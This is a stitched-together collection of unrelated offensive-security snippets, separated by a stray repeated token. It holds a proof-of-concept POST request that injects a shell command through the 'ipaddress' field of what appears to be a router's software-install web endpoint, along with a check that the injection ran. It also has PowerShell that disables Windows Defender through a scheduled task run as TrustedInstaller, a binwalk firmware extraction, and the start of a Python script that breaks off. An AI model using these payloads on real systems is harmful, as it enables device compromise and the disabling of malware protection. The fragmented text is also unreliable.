imjdl

## a POST request as: 

POST /webui/rest/softwareMgmt/installAdd HTTP/1.1

{"filePath": "abc/aaa", "fileSystem": "", "ipaddress": "1:1:1:;id>/bootflash/PaJbOLOT;#", "mode": "tftp", "operation_type": "SMU"}

## then another command with the POC technique: 

dir bootflash: | include PaJbOLOT

imjdl

root@bitforbyte:~/xxx# binwalk 100AAPP7D0.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
131072        0x20000         JFFS2 filesystem, big endian

JFFS2 filesystem extract

total 1492
1049502 drwxr-xr-x 18 root root    4096 Oct 27 23:33 .

imjdl

$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'

$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a

$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()

$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')

imjdl

#!/usr/bin/env python3
# coding = UTF-8

import sys
import requests
import time
from threading import Thread
from threading import Lock
import argparse